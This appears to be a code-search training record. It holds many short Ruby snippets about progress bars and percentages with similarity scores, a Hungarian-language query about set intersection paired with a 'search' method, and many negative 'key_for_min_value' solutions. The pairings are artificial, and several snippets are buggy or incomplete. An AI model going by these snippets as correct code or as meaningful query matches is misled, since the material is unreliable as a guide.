"def update\n if( @@test.eql?(\"100.00\"))\n puts \"DOWNLOAD COMPLETE\"\n @@thread.exit\n render :partial => \"complete\", :locals => { :progress_int => @@test, :done_int =>@@done, :elapsed_int =>@@elapsed_int }\n return\n end\n\n @@test= \"%.2f\" % @@thread[:progress].to_f \n @@done= \"%d\" % @@thread[:done] \n now = Time.now\n elapsed =now - @@start\n @@elapsed_int=\"%d\" % elapsed\n render :partial => \"progress\", :locals => { :progress_int => @@test, :done_int =>@@done, :elapsed_int =>@@elapsed_int }\n end",
"def set_percentage(value)\n return false unless have_lock?\n cur = get_status\n set_status(cur[:message], value)\n end",
"def set_progress(caption, percent)\n #puts self\n #puts \"env=#{self.environment}\"\n logger.debug(\"set_progress(#{caption}, #{percent})\")\n self.environment.send_data({:caption=>caption, :percent=>percent}.to_json)\n end",
"def indicate_progress\n end",
"def progress=(value)\n @progress = value\n end",
"def percent_progress\n data[:percent_progress]\n end",
"def percent_progress\n data[:percent_progress]\n end",
"def sync_progress\n response = rpc(:block_count, _coerce: Hash)\n\n count = response[:count]\n unchecked = response[:unchecked]\n total = count + unchecked\n\n count.to_f * 100 / total.to_f\n end",
"def update_percent_complete(percent, message)\n at percent, message\n\n # save to database as well for now\n @simulation.percent_complete_message << message if @simulation.percent_complete_message.last != message\n @simulation.percent_complete = percent\n @simulation.save!\n end",
"def progress=(_arg0); end",
"def progress=(_arg0); end",
"def progress=(_arg0); end",
"def progress=(_arg0); end",
"def update_download_status size, length\n @current_byte ||= 0\n @previous_print ||= 0\n @current_byte += size\n\n if length\n pct = @current_byte * 100 / length\n pct = (pct / 5) * 5\n\n if pct != @previous_print\n @previous_print = pct\n status pct.to_s + '% '\n end\n else\n # server didn't supply a length, display running byte count?\n end\n end",
"def progress(msg, nontty_log = T.unsafe(nil)); end",
"def update\n respond_to do |format|\n if @percentage.update(percentage_params)\n format.html { redirect_to @percentage, notice: 'Percentage was successfully updated.' }\n format.json { render :show, status: :ok, location: @percentage }\n else\n format.html { render :edit }\n format.json { render json: @percentage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def progress_bar(progress_ratio)\n max = @screen_size * 0.8\n print \"\\r\\t[#{progress_ratio.round(2)*100}%] [\"\n print \"#\".magenta * (progress_ratio * max)\n print \"] DONE!\\n\" if progress_ratio == 1\n end",
"def execute(input: $stdin, output: $stdout)\n prompt.ok('simple progress bar')\n\n bar = TTY::ProgressBar.new(\"downloading [:bar]\", total: 30)\n \n 30.times do\n sleep(0.1)\n bar.advance(1)\n end\n\n :gui\n end",
"def update_status\n response = @api.get(@cloud.url(:status, @process_id), no_callbacks: true, token: @cloud.access_token.token)\n @progress = response['ProgressPercents'].to_i\n @progress\n end",
"def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end",
"def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end",
"def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end",
"def show_progress=(_arg0); end",
"def update_progress\n progress = 0\n self.weight_histories.each do |w|\n progress += w.weight_recording\n end\n self.update(progress: progress)\n end",
"def progress(progress)\n progress = [progress] unless progress.respond_to?(:[])\n publishProgress(progress)\n end",
"def report_progress(progress, total, show_parts=true)\n if total && total > 0\n percent = (progress.to_f / total.to_f) * 100\n line = \"Progress: #{percent.to_i}%\"\n line << \" (#{progress} / #{total})\" if show_parts\n else\n line = \"Progress: #{progress}\"\n end\n\n info(line, :new_line => false)\n end",
"def set_status(message, percentage)\n return false unless have_lock?\n @handle.rewind\n @handle.truncate 0\n @handle.write(message.to_s.strip + \"\\n\")\n @handle.write(percentage.to_s.strip + \"\\n\")\n @handle.flush\n true\n end",
"def update!(**args)\n @media_progress_duration = args[:media_progress_duration] if args.key?(:media_progress_duration)\n @media_progress_percentage = args[:media_progress_percentage] if args.key?(:media_progress_percentage)\n end",
"def progress(object)\n reporter.progress(object)\n end",
"def progress_rate\n 1\n end",
"def progress(*args, &block)\n @@progress_block = block if block\n @@progress_block.call(*args) if defined?(@@progress_block) && args.length>0\n end",
"def UpdateTotalProgressValue\n total_progress = 0\n\n if @total_count_to_download == 0\n # no package to download, just use the install size\n total_progress = Ops.divide(\n Ops.multiply(TotalInstalledSize(), 100),\n @total_size_to_install\n )\n else\n # compute the total progress (use both download and installation size)\n total_progress = Ops.add(\n Ops.divide(\n Ops.multiply(@total_count_downloaded, @downloading_pct),\n @total_count_to_download\n ),\n Ops.divide(\n Ops.multiply(\n TotalInstalledSize(),\n Ops.subtract(100, @downloading_pct)\n ),\n @total_size_to_install\n )\n )\n end\n\n Builtins.y2debug(\n \"Total package installation progress: %1%%\",\n total_progress\n )\n SlideShow.StageProgress(total_progress, nil)\n\n nil\n end",
"def UpdateCurrentPackageProgress(pkg_percent)\n SlideShow.SubProgress(pkg_percent, nil)\n\n nil\n end",
"def progress\n data.progress\n end",
"def progress(callback = nil, &blk)\n @progress = callback || blk\n end",
"def update\n respond_to do |format|\n if @progress.update(progress_params)\n format.html { redirect_to user_path(@progress.user_id), notice: 'Progress was successfully updated.' }\n format.json { render :show, status: :ok, location: @progress }\n else\n format.html { render :edit }\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_progress(update_id)\n current_path = \"/api/v1/update/#{update_id}/status\"\n @conn.get(current_path)\n end",
"def progress(msg, nontty_log = :debug)\n send(nontty_log, msg) if nontty_log\n return unless show_progress\n icon = \"\"\n if defined?(::Encoding)\n icon = PROGRESS_INDICATORS[@progress_indicator] + \" \"\n end\n @mutex.synchronize do\n print(\"\\e[2K\\e[?25l\\e[1m#{icon}#{msg}\\e[0m\\r\")\n @progress_msg = msg\n if Time.now - @progress_last_update > 0.2\n @progress_indicator += 1\n @progress_indicator %= PROGRESS_INDICATORS.size\n @progress_last_update = Time.now\n end\n end\n Thread.new do\n sleep(0.05)\n progress(msg + \".\", nil) if @progress_msg == msg\n end\n end",
"def update\n @progress = Progress.find(params[:id])\n\n respond_to do |format|\n if @progress.update_attributes(params[:progress])\n format.json { head :no_content }\n else\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def indicate_progress\n @iteration_counter += 1\n @progress_rate ||= resolver_ui.progress_rate\n if iteration_rate.nil?\n if Time.now - started_at >= @progress_rate\n self.iteration_rate = @iteration_counter\n end\n end\n\n if iteration_rate && (@iteration_counter % iteration_rate) == 0\n resolver_ui.indicate_progress\n end\n end",
"def progress(url)\n @progress_url = url\n end",
"def show_progress\n\t\t\t# bar_size is between 0 and 30\n finish_size = (((@top_card-12).to_f / (@deck.length-11).to_f) * 30).to_i\n\t\t\tremain_size = 30 - finish_size\n\t\t\tprint \"\\nProgress: \"\n\t\t\tfinish_size.times {print '▓'}\n\t\t\tremain_size.times {print '░'}\n\t\t\tputs\n\t\t\tputs\n end",
"def update\n \n @user_repo_progress = UserRepoProgress.find_by(user_id: @current_user.id, reposoitory_id: params[:id])\n @user_repo_progress.update_attribute(:progress, params[:progress])\n @user_repo_progress.save\n \n\n head(:ok)\n end",
"def progress(run_id)\r\n @result_count = self.get_results(run_id)[:result].length - 1\r\n run = Run.find(run_id)\r\n @result = ((@result_count.to_f / run.units.count.to_f) * 100).round(2)\r\n end",
"def progress(run)\n return unless run.started?\n\n progress = Progress.new(run)\n\n progress_bar = tag.progress(\n value: progress.value,\n max: progress.max,\n class: [\"progress\"] + STATUS_COLOURS.fetch(run.status)\n )\n progress_text = tag.p(tag.i(progress.text))\n tag.div(progress_bar + progress_text, class: \"block\")\n end",
"def inc number=0.0\n\t\t@progress_bar.fraction = (@prog += number)\n\tend",
"def percentage; end",
"def report_progress(message)\n @progress_block.call(message) if @progress_block\n end",
"def main_total_bar\n p = percent(money_used, incomes)\n if p < 100\n \"<div class='progress primary'><span class='meter' style='width: #{p}%'></span></div>\".html_safe\n elsif p > 100\n \"<div class='progress alert'><span class='meter' style='width: 100%'></span></div>\".html_safe\n else\n \"<div class='progress success'><span class='meter' style='width: 100%'></span></div>\".html_safe\n end\n end",
"def progress_handler\n ->(progress) do\n @top_bar.advance(progress) if @top_bar\n emit(:progress, progress)\n end\n end",
"def print_progress\n @data[\"print_progress\"]\n end",
"def report_progress(data = {})\n @progress_count ||= 0\n\n if (@progress_count += 1) > 4\n warn(\"do not call Slackathon::Command#report_progress more than 4 times\")\n return\n end\n\n say(\n response_type: :ephemeral,\n text: format(progress_message, data)\n )\n end",
"def setPercentComplete(percentComplete)\r\n\t\t\t\t\t@percentComplete = percentComplete\r\n\t\t\t\tend",
"def update!(**args)\n @count = args[:count] if args.key?(:count)\n @percentage = args[:percentage] if args.key?(:percentage)\n @value = args[:value] if args.key?(:value)\n end",
"def report_progress\n backup_size = (@backup.size + @backup.wal_file_size) / 1024 ** 2\n du = target_path_exists? ? target_path_disk_usage / 1024 ** 2 : 0\n percent = du.to_f / backup_size.to_f * 100\n percent = 100.0 if percent >= 100.0\n message = \"#{percent.to_i}% of Backup #{@backup.id} (#{@backup.server}) recovered\" \n at(percent.to_i, 100, message)\n @log.info(message)\n end",
"def progress()\n return 1.0 * @done_time_units / @total_time_units\n end",
"def execute &block\n super &block\n\n last_progress = 0\n last_progress_at = Time.new.to_f\n stdout.match PROGRESS_REGEXP, match: :last, in: :output do |file, total_bytes, percentage|\n progress = total_bytes.gsub(/[^\\d]/,'').to_i\n progress_at = Time.new.to_f\n speed = (progress - last_progress) / (progress_at - last_progress_at)\n\n receive_progress(file, progress, percentage.to_i, speed)\n\n last_progress = progress\n last_progress_at = progress_at\n end\n\n self\n end",
"def use_progress_bar?; true end",
"def seek(percent)\n # cmus-remote --seek takes a parameter in seconds.\n if status[:duration_integer]\n # example:\n # --------\n # duration: 90 seconds\n # percent to seek: 50\n # 90.0f * (50 / 100)\n # 90 * 0.5\n # 45 seconds\n\n duration = status[:duration_integer].to_f\n percent = percent.to_f * 0.01\n\n seek_seconds = (duration * percent).to_i\n cli_command = %Q{ cmus-remote --seek #{seek_seconds} }\n\n system(cli_command)\n end\n end",
"def sample_progress_bar\n\trequire_relative 'lib/console'\n\t\n\tprogress = Console.logger.progress(\"Progress Bar\", 10)\n\t\n\t10.times do |i|\n\t\tsleep 1\n\t\t\n\t\tprogress.increment\n\tend\nend",
"def update\n respond_to do |format|\n if @api_v1_progress.update(api_v1_progress_params)\n format.html { redirect_to @api_v1_progress, notice: 'Progress was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_progress }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def percentage=(_arg0); end",
"def run_with_progress(message, size, progr = nil, &block)\n if(progr_object = (progr || progressor))\n progr_object.run_with_progress(message, size, &block)\n else\n dummy_prog = Object.new\n class << dummy_prog\n def inc\n end\n end\n block.call(dummy_prog)\n end\n end",
"def UpdateCurrentPackageRateProgress(pkg_percent, bps_avg, bps_current)\n #\tavg_download_rate = bps_avg;\n\n return if !SlideShow.ShowingDetails\n\n new_text = nil # no update of the label\n if Ops.greater_than(bps_current, 0)\n # do not show the average download rate if the space is limited\n if SlideShow.textmode && Ops.less_than(SlideShow.display_width, 100)\n bps_avg = -1\n end\n new_text = String.FormatRateMessage(\n Ops.add(@provide_name, \" - %1\"),\n bps_avg,\n bps_current\n )\n new_text = Builtins.sformat(\n _(\"Downloading %1 (download size %2)\"),\n new_text,\n @provide_size\n )\n end\n\n SlideShow.SubProgress(pkg_percent, new_text)\n\n nil\n end",
"def show\n calculate_progress\n ##complete_goal\n end",
"def update(progress_id)\n Thread.new {\n @progress = ProgressBar.find(progress_id)\n @progress.set_max(100)\n\n settings = Settings.new\n settings.edit_config_file\n\n total_containers = 0\n containers_per_server = settings.servers_nginx_containers\n containers_per_server.map{ |server, containers| total_containers += containers_per_server.size}\n \n create_config_file(settings.config_file)\n\n containers_per_server.each { |server, containers|\n containers.each { |container|\n push_config_file(server, container)\n reload_nginx(server, container)\n puts total_containers\n @progress.increment(100/ total_containers)\n }\n }\n }\n end",
"def progress_percentage\n total_amount = 0\n # proceed_amount = 0\n total_amount = card_sub_tasks.map(&:service_card_count).reduce(:+)\n # card_sub_tasks.each do |card_sub_task|\n # if card_sub_task.proceed == CardSubTask::PROCEED_FINISHED || card_sub_task.proceed == CardSubTask::PROCEED_ERROR\n # proceed_amount += card_sub_task.service_card_count\n # elsif card_sub_task.proceed == CardSubTask::PROCEED_PROCESSING\n # proceed_amount += card_sub_task.service_cards.count\n # end\n # end\n return percentagere = \"#{sprintf(\"%.1f\", proceed_amount.to_i / total_amount.to_f * 100)}%\"\n end",
"def set_progress_web\n\n end",
"def update_progress\n if logged_in?\n find_record(params[:post_id])\n @read_progress.update(progress: param[:progress])\n end\n end",
"def describe_progress\n if @options[:num]\n \"#{@messages.size} of #{@options[:num]} message#{'s' if @messages.size!=1} collected\"\n else\n \"#{@messages.size} message#{'s' if @messages.size!=1} collected\"\n end \n end",
"def check_progress\n self.increment_count\n begin\n self.send(\"check_progress_#{self.type}\")\n rescue\n self.update_attributes(:status =>'not yet available')\n end\n end",
"def set_progress state\n Vips.vips_image_set_progress self, state\n end",
"def set number=0.0\n\t\t@progress_bar.fraction = @prog = number\n\tend",
"def update_loading_bar\n @loading_bar.update\n end",
"def percent\n \"%0.1f%%\" % (to_f * 100)\n end",
"def normalization_progress(node)\n if node['progress']\n node['progress'] = 100 if node['progress'] > 100 ||\n ['ready', 'error'].include?(node['status'])\n node['progress'] = 0 if node['progress'] < 0\n else\n node['progress'] = 100 if final_status?(node['status'])\n end\n end",
"def update\n respond_to do |format|\n if @validate_percentage.update(validate_percentage_params)\n format.html { redirect_to @validate_percentage, notice: 'Validate percentage was successfully updated.' }\n format.json { render :show, status: :ok, location: @validate_percentage }\n else\n format.html { render :edit }\n format.json { render json: @validate_percentage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def percentComplete\n totalImages = image_labels.count\n pct = (labelledImagesCount()/totalImages)*100.0\n pct.round(1)\n end",
"def progress_percentage\n progress = $redis.hgetall(redis_key)\n\n if progress.present?\n return 100 if progress['total_items'] == '0'\n (progress['processed_items'].to_f / progress['total_items'].to_f) * 100\n else\n 100\n end\n end",
"def ReportProgress(progress_s)\n progress_s = Builtins.sformat(\"=== %1 ===\", progress_s)\n\n Builtins.y2milestone(\"%1\", progress_s)\n UI.ChangeWidget(\n Id(:log_view),\n :LastLine,\n Ops.add(Ops.add(\"\\n\", progress_s), \"\\n\")\n )\n\n nil\n end",
"def percent_complete\n xml = @client.get_request(\"/services/search/jobs/#{@sid}\")\n doc = Nokogiri::XML(xml)\n progress = doc.xpath(\"//s:key[@name='doneProgress']\").text\n return \"#{progress}/1.0\"\n end",
"def show_progress(collection, say=\"Progress\", &block)\n progress_bar = ProgressBar.new say, collection.count\n\n collection.each do |thing|\n block.call thing\n progress_bar.increment\n end\n\n puts # distinguish progress_bar output from other output\nend",
"def update_status\n return nil if !@on_status\n rows_count = Knj::Locales.number_out(@rows_count, 0)\n rows_count_total = Knj::Locales.number_out(@rows_count_total, 0)\n percent = (@rows_count.to_f / @rows_count_total.to_f) * 100\n percent_text = Knj::Locales.number_out(percent, 1)\n @on_status.call(:text => \"Dumping table: '#{@table_obj.name}' (#{rows_count}/#{rows_count_total} - #{percent_text}%).\")\n end",
"def print_progress_bar_at i\n if (i%PROGRESSOR_SAMPLE_PERIOD == 0)\n print '.'\n $stdout.flush\n end\nend",
"def progress\n if processed\n return 100.0\n end\n\n response = Zencoder::Job.progress(zencoder_job_id)\n \n if response.body[\"state\"] == \"finished\"\n processed!\n return 100.0\n end\n\n return response.body[\"progress\"] if response.body[\"progress\"]\n\n return 0.0\n end",
"def percentage(count)\n ((count.to_f / self.size) * 100).round(1)\n end",
"def update!(**args)\n @end_time = args[:end_time] if args.key?(:end_time)\n @progress_percent = args[:progress_percent] if args.key?(:progress_percent)\n @start_time = args[:start_time] if args.key?(:start_time)\n end"
] |
[
"0.7638601",
"0.70924854",
"0.70458984",
"0.6957239",
"0.694144",
"0.69105506",
"0.69105506",
"0.69105506",
"0.69105506",
"0.69105506",
"0.68811923",
"0.6865555",
"0.68185127",
"0.67870325",
"0.6713462",
"0.66508126",
"0.6617774",
"0.66099554",
"0.6544198",
"0.6544198",
"0.6424426",
"0.64017844",
"0.6371438",
"0.6371438",
"0.6371438",
"0.6371438",
"0.63561416",
"0.6290542",
"0.62761605",
"0.6266629",
"0.62603104",
"0.6259399",
"0.62418187",
"0.62418187",
"0.62418187",
"0.62182647",
"0.62092",
"0.62041616",
"0.61788505",
"0.61772656",
"0.6166052",
"0.6147673",
"0.6145668",
"0.6142725",
"0.6139095",
"0.6138374",
"0.6127897",
"0.6105537",
"0.6071703",
"0.6062261",
"0.60394216",
"0.602667",
"0.60101146",
"0.6002497",
"0.60001004",
"0.59931225",
"0.5981796",
"0.5981699",
"0.5979207",
"0.5967534",
"0.5962604",
"0.59561646",
"0.59237146",
"0.5915222",
"0.59147257",
"0.59069204",
"0.5897931",
"0.58910173",
"0.5882993",
"0.5877855",
"0.5877435",
"0.5873627",
"0.5870083",
"0.5862969",
"0.5859016",
"0.5856257",
"0.5846227",
"0.5843586",
"0.58338857",
"0.5830096",
"0.5821445",
"0.58021843",
"0.5800947",
"0.5799102",
"0.5799047",
"0.57845986",
"0.578023",
"0.5763343",
"0.5758056",
"0.57504034",
"0.5743824",
"0.57370174",
"0.57308906",
"0.57226646",
"0.5719024",
"0.57174385",
"0.5714623",
"0.57110095",
"0.5710546",
"0.57081616"
] |
0.7824124
|
0
|
Vissza adja a targyak metszetet es kulonbsegeit Ex.: [metszet: ['alma', 'korte'], first_min_second: ['eper', 'dinnye'], second_min_first: ['paprika', 'szilva']] `
|
def search(first_class, second_class)
metszet = []
first_min_second = []
first_class[:descr].split(',').each do |first_word|
if second_class[:descr].include? first_word
metszet << first_word
else
first_min_second << first_word
end
end
{metszet: metszet, first_min_second: first_min_second}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def key_for_min_value\n end",
"def my_min(list)\r\n smaller_ele = []\r\n list.each do |ele1|\r\n list.each do |ele2|\r\n smaller_ele << [ele1,ele2].min \r\n end\r\n end\r\n return smaller_ele.min\r\nend",
"def smaller(restaurant_menu)\n mas_barato = restaurant_menu.min_by{|k,v| v}\n puts \"El plato mas barato es el #{mas_barato[0]}\"\nend",
"def calc_p_min_and_sv_min()\n\t\tp_min = []\n\t\tsv_min = []\n\t\t@DataHash[:mp].each_with_index do |e, row, col|\n\t\t\tif e > 0 && \n\t\t\t\tif p_min[row].nil?\n\t\t\t\t\tp_min[row] = e\n\t\t\t\telsif e < p_min[row]\n\t\t\t\t\tp_min[row] = e\n\t\t\t\tend\n\t\t\t\tsv_min[row] = col \n\t\t\tend\n\t\tend\n\t\t@DataHash.merge!({\"p_min\": p_min, \"sv_min\": sv_min})\n\tend",
"def min_value_and_index\n [min, min_index]\n end",
"def key_for_min_value(h)\n first = true\n min_k=nil\n min_v=nil\n h.each do |k, v|\n if (first)\n first = false\n min_k=k\n min_v=v\n end\n if (v<min_v)\n min_k= k\n min_v=v\n end\n \n end\n #puts min_k\n min_k\nend",
"def my_min2(array)\n min = array.first\n array.each do |el|\n min = [el, min].min\n end\n min\nend",
"def key_for_min_value(name_hash)\n name_hash.each do |key, value|\n ray = value.sort {|a,b| a<=> b}\n small = ray.min \nend\n key_for_min_value[small]\nend",
"def key_for_min_value(name_hash)\nlowest=nil\nif name_hash.length!=0\nlowestvalue = name_hash.first[1]\nlowest=name_hash.first[0]\nname_hash.each { |x,y|\nif y<lowestvalue\n lowestvalue=y\n lowest=x\nend\n}\nend\nlowest\nend",
"def key_for_min_value(new_hash)\n if new_hash != {}\n keys = new_hash.collect do |item, val|\n item\n end\n\n minKey = \"\"\n minVal = new_hash[keys[0]]\n new_hash.each do |item, amount|\n if amount <= minVal\n minVal = amount\n puts \"New min val #{minVal}\"\n minKey = item\n end\n end\n return minKey\n else\n return nil\n end\nend",
"def key_for_min_value(name_hash)\n if name_hash.length > 0\n first_hash = name_hash.shift\n _min = first_hash[1]\n _name = first_hash[0]\n name_hash.each do |name,value|\n if value < _min\n _min = value\n _name = name\n end\n end\n _name\n end\n\nend",
"def key_for_min_value(name_hash)\n new_list = nil \n smallest_number = nil\n name_hash.each do |name, num|\n if smallest_number == nil || num < smallest_number\n smallest_number = num\n new_list = name\n end\n end\n new_list\nend",
"def key_for_min_value(name_hash)\nvar = []\n name_hash.each do |name, number|\n var << number\n end\n \n name_hash.each do |name, number| \n if number == var.min\n return name\n end\n end\n nil\nend",
"def min() end",
"def key_for_min_value(name_hash)\n min = \"start\"\n lowestkey = nil\n name_hash.each { |key, integer|\n if min = \"start\"\n min = integer\n elsif integer < min\n min = integer\n lowestkey = key\n end\n }\n lowestkey\nend",
"def min\n min = @m[0][0]\n for i in 0...fi\n for k in 0...co\n if @m[i][k] < min then\n min=@m[i][k]\n end\n end\n end \n min\n end",
"def key_for_min_value(name_hash)\nmin_val=nil\nmin_key=nil\nname_hash.collect do |key, value|\n if min_val==nil \n min_val=value\n min_key=key\n elsif value<min_val \n min_val=value\n min_key=key\n end\nend\n\nmin_key\n\nend",
"def key_for_min_value(name_hash)\n arr = []\n arr_b = []\n name_hash.each {|x,y| arr << y}\n if arr.length != 0\n arr[0] < arr[1] ? arr_b << arr[0] : arr_b << arr[1]\n arr[1] < arr[2] ? arr_b << arr[1] : arr_b << arr[2]\n arr_b[0] < arr_b[1] ? name_hash.key(arr_b[0]) : name_hash.key(arr_b[1])\n else\n nil\n end\nend",
"def key_for_min_value(name_hash)\nminval = 9999\nlowprice = nil\nname_hash.each do |name,price|\n if minval > price\n lowprice =name\n minval = price\n end\n \nend\nlowprice\nend",
"def min_cost2(costs)\n return 0 if costs.empty?\n \n pre_red = costs[0][0]\n pre_green = costs[0][1]\n pre_blue = costs[0][2]\n\n costs[1..-1].each_with_index do |cost, i|\n current_red = cost[0] + [pre_blue, pre_green].min\n current_green = cost[1] + [pre_red, pre_blue].min\n current_blue = cost[2] + [pre_red, pre_green].min\n\n pre_red = current_red\n pre_green = current_green\n pre_blue = current_blue\n end\n\n # p [pre_red, pre_green, pre_blue]\n [pre_red, pre_green, pre_blue].min\nend",
"def key_for_min_value(name_hash)\nreturn nil if name_hash.empty?\nmin = 0\nmin_k = \" \"\n\nname_hash.each do |k, v|\n\n\tif min == 0 && v > min \n\t\tmin = v\n\t\tmin_k = k\n\telsif v < min\n\t\tmin_k = k\t\t\t\n\tend\n\tend\n\treturn min_k\nend",
"def key_for_min_value(name_hash)\n arr = []\nname_hash.each_with_index { |i,index|\n push = i[1]\n arr[index] = push\n}\nreturn name_hash.key(arr.min)\n\nend",
"def key_for_min_value(name_hash)\n r=nil\n min=nil\n name_hash.each do |k, v|\n if min==nil or v<min\n r=k\n min=v\n end\n end\n r\nend",
"def key_for_min_value(name_hash)\n min_value = 1100\n other_value = nil \n name_hash.each do |key, value| \n if value < min_value\n min_value = value\n other_value = key \n end \n end \n other_value\nend",
"def key_for_min_value(name_hash)\ncurrent_min_val = nil\ncurrent_key_min_val = nil\nname_hash.each do |key, value|\n if current_min_val == nil\n current_min_val = value\n current_key_min_val = key\n else\n if current_min_val> value\n current_min_val = value\n current_key_min_val = key\n end\n end\nend\ncurrent_key_min_val\nend",
"def key_for_min_value(name_hash)\n d_value= 1000\n d_key= nil\n\nname_a = name_hash.to_a\nname_a.collect do |i|\n if i[1] < d_value\n d_value = i[1]\n d_key = i[0]\n end\nend\nreturn d_key\nend",
"def key_for_min_value(h)\n lowest_v = [0]\n lowest_k = []\n h.each{|k,v|\n if lowest_v[0] == 0\n lowest_v[0] = v\n lowest_k[0] = k\n elsif v < lowest_v[0]\n lowest_v[0] = v\n lowest_k[0] = k\n end\n } \n return lowest_k[0] \nend",
"def key_for_min_value(name_hash)\n loname = nil\n lovalue = nil\nname_hash.each do |name, value|\n if lovalue ==nil || value<lovalue\n lovalue = value\n loname = name\nend\nend\nloname\nend",
"def key_for_min_value(name_hash)\n current_min_value = nil \n current_min_key = nil \n name_hash.each do |key , value|\n if current_min_value == nil || value < current_min_value\n current_min_value = value \n current_min_key = key \n end \n end \ncurrent_min_key\nend",
"def key_for_min_value(name_hash)\nif name_hash == {}\n return nil\nelse\n minimum = 1000\n min_key = :placeholder\n name_hash.each do |key, value|\n if value < minimum\n minimum = value\n min_key = key\n end\n end\n min_key\nend\nend",
"def key_for_min_value(name_hash)\nlow = nil \nlowName = nil \nname_hash.each do |key, value| \n if low == nil || low > value \n low = value \n lowName = key \nend \nend\nlowName \nend",
"def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n ages = []\n names = []\n name_hash.each do |name, age|\n ages.push(age)\n names.push(name)\n end\n names[ages.index(ages.min)]\n\n\nend",
"def key_for_min_value(name_hash)\nmin_key=nil\nmin_value=nil\nname_hash.each do |key, value|\n if min_value == nil || value < min_value\n min_key=key\n min_value=value\n end\nend\nmin_key\nend",
"def key_for_min_value(name_hash)\nmin_name = nil\nmin_number = nil\nname_hash.each do |name, number|\n if min_number == nil || number < min_number\n min_number = number\n min_name = name\n end\nend\nreturn min_name\nend",
"def key_for_min_value(name_hash)\n min = nil\n out = nil\n name_hash.each{|k,v,i|\n #puts i\n if !min||v<min\n out=k\n min=v\n end\n }\n out\nend",
"def min\n\n minimo = 0.to_f\n for i in 0...matriz.size \n if matriz[i] != nil \n matriz[i].each do |key, value|\n if matriz[i][key].to_f < minimo\n minimo = matriz[i][key].to_f\n end\n end\n end \n end\n minimo\n\tend",
"def key_for_min_value(name_hash)\n if name_hash.size != 0\n lowest = name_hash.first[1]\n key_start = ''\n name_hash.each do |key, value|\n if value <= lowest\n lowest = value\n key_start = key\n else\n end\n end\n key_start\n\nelse\nnil\nend\n\nend",
"def key_for_min_value(named_hash)\nnamed_array = named_hash.to_a\n default_value= 1000\n lowest_key_value= nil \n\n named_array.each do |v|\n if v[1] < default_value\n default_value = v[1]\n lowest_key_value = v[0]\n end\n end\n return lowest_key_value\nend",
"def key_for_min_value(name_hash)\n min_value = 331\n min_key = nil\n name_hash.collect do |product,price|\n if min_value == nil || price < min_value\n min_value = price\n min_key = product\n end\n end\n min_key\nend",
"def key_for_min_value(name_hash)\n#collect an array of the numbers each item\n numbers = name_hash.collect do |item, quantity|\n quantity\n end\n\n if numbers == []\n nil\n else\n name_hash.collect do |item, quantity|\n lowest = numbers.all? do |number|\n quantity <= number\n end\n if lowest == true\n return item\n end\n end\n end\nend",
"def key_for_min_value(name_hash)\n minimum_val = nil \n current_min_key = nil\n name_hash.each do |name, value|\n if minimum_val == nil \n minimum_val = value\n current_min_key = name\n elsif minimum_val > value\n minimum_val = value\n current_min_key = name\nend\nend\ncurrent_min_key\nend",
"def key_for_min_value(name_hash)\nmin=name_hash.values[0]\nm=name_hash.keys[0]\nname_hash.each do |key,value|\n if min > name_hash[key]\n m=key\nend\nend\nm\nend",
"def key_for_min_value(name_hash)\nmin=name_hash.values[0]\nm=name_hash.keys[0]\nname_hash.each do |key,value|\n if min > name_hash[key]\n m=key\nend\nend\nm\nend",
"def key_for_min_value(name_hash)\n min = nil\n answer = nil\n name_hash.each do |k,v|\n if min == nil || v < min \n min = v \n answer = k\n end \n end \n \n return answer \nend",
"def key_for_min_value(name_hash)\nmin_value = nil\nmin_key = nil\n\nname_hash.each do |key,value|\n if min_value == nil || value < min_value\n min_value = value\n min_key = key\n end\nend\nmin_key\nend",
"def key_for_min_value(name_hash)\n\n arr=[]\n #we will find the value of all array and put them in new array\n arr=name_hash.collect do |key,value|\n value\n end\n#find minimum\n c=1\n min=arr[0]\n while c < arr.length\n if min <= arr[c]\n min=min\n else\n min= arr[c]\n end\n c +=1\n end\n\nreturn name_hash.key(min)\n\nend",
"def key_for_min_value(name_hash)\nkey_for_min_value = nil\ncurrent_key = nil\nname_hash.each do |key, value|\n if key_for_min_value == nil\n key_for_min_value = value\n current_key = key\n else\n if key_for_min_value > value\n current_minimum_val = value\n current_key = key\n end\n end\nend\ncurrent_key\nend",
"def key_for_min_value(name_hash)\n \n lowest_item = nil\n lowest_price = nil\n \n name_hash.each do |item, price|\n \n if lowest_price == nil || price < lowest_price\n lowest_item = item\n lowest_price = price\n end\n \n end\n \n lowest_item\n \nend",
"def key_for_min_value(name_hash)\n \n if name_hash.size == 0\n x = nil\n \n else\n \n y = name_hash.map {|item,num| num}\n y = y[0]\n\n name_hash.each do |item, num|\n \n if num < y\n \n x = item\n y = num\n \n elsif num == y\n x = item\n \n end\n\n end\n\nend\nx\n\n\nend",
"def key_for_min_value(name_hash)\n num = []\n key = nil\n name_hash.each do |x,y|\n if num.length > 0\n y > num.first ? num << y : (num.unshift(y) ; key = x)\n else\n num << y\n key = x\n end\n \n end \n key\nend",
"def key_for_min_value(hash)\n key = nil\n min = nil\n hash.each do |item, price|\n if min.nil? or price < min\n min = price\n key = item\n end\n end\n key\nend",
"def key_for_min_value(name_hash)\n i = 0\n array =[]\nif i < name_hash.length\nname_hash.collect do |key,value|\n array << value\n i += 1\n end\n min_value = array.min \n name_hash.key(min_value)\n end\nend",
"def key_for_min_value(name_hash)\n lowest_value = nil\n lowest_item = nil\n name_hash.each do | product, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n lowest_item = product\n end\n end \n lowest_item\nend",
"def key_for_min_value(name_hash)\n key_min = nil\n min_value = nil\n name_hash.each {|key, value| if min_value == nil\n min_value = value\n key_min = key\n end\n if value < min_value\n min_value = value\n key_min = key\n end\n}\nkey_min\nend",
"def key_for_min_value(name_hash)\n lowest = nil \n lowest_value = nil\n name_hash.each do |name, value| \n if !lowest || lowest > value \n lowest = value \n lowest_value = name \n end \n end \n lowest_value\nend",
